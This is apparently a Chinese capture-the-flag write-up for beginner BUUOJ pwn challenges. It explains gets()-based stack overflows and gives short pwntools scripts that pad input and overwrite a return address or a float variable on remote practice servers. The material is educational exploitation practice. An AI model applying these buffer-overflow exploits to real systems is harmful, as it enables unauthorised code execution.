这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第一波,都是最简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。)
这一波题都是无脑AAAA的类型,它们的区别主要就是打入多少个填充字符A的区别,(还有接受到什么字符串的区别),反正都是最简单的一类题。
另外声明,脚本有些来自于网络上,但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来做的),所以有些脚本拿的谁的我给忘了(不过这么简单的脚本应该没有大佬介意)等到后面稍微难一点的题目接近我现在的时间线,一般都是标注是参考谁的wp的
test_your_nc
直接nc 然后 cat flag就好了
others_shellcode
连上去就有flag
warmup_csaw_2016
这个跟攻防世界的一题叫warmup的是一样的,只不过攻防世界那个没有给附件,是盲打的。
看见有gets的漏洞,然后点开v5
看到有0x40个空间,直接栈溢出打进去4*16+8=72个填充字符,然后加上system地址就好了
很贴心的已经给了
#!/usr/bin/python
from pwn import *
r = remote('node3.buuoj.cn', 25644)
r.recvuntil('WOW:')
address =0x000000000040060D
payload = 'A' * 72 + p64(address)
r.writeline(payload)
r.interactive()
ciscn_2019_n_1
先nc一下,然后checksec,(截图就省略了)
总之是64位的程序,然后扔进IDA
没什么东西,直接点开func()
看到了flag和条件,让v2=11.28125,然后还有一个gets漏洞,我们直接看v1
在这里
然后v2在这里
我们可以通过向v1填充字符利用栈溢出改变v2的值,让他变成11.28125
我们把两者的位置相减得到3*16-4=44=0x2C(这里不加4是因为不是函数,不需要覆盖返回地址)
-----------------------------------8.26修改(这里有人问我0x41348000是什么,我很久之后都忘了这是什么了,还以为是shell,后来发现这是11.28125的浮点数转换成16进制,这里我没有讲清楚)
from pwn import *
r=remote('node3.buuoj.cn',21699)
payload='a'*0x2c+p64(0x41348000)
r.recvuntil("Let's guess the number.")
r.sendline(payload)
r.interactive()
rip
from pwn import*
sh=remote('node3.buuoj.cn',26183)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()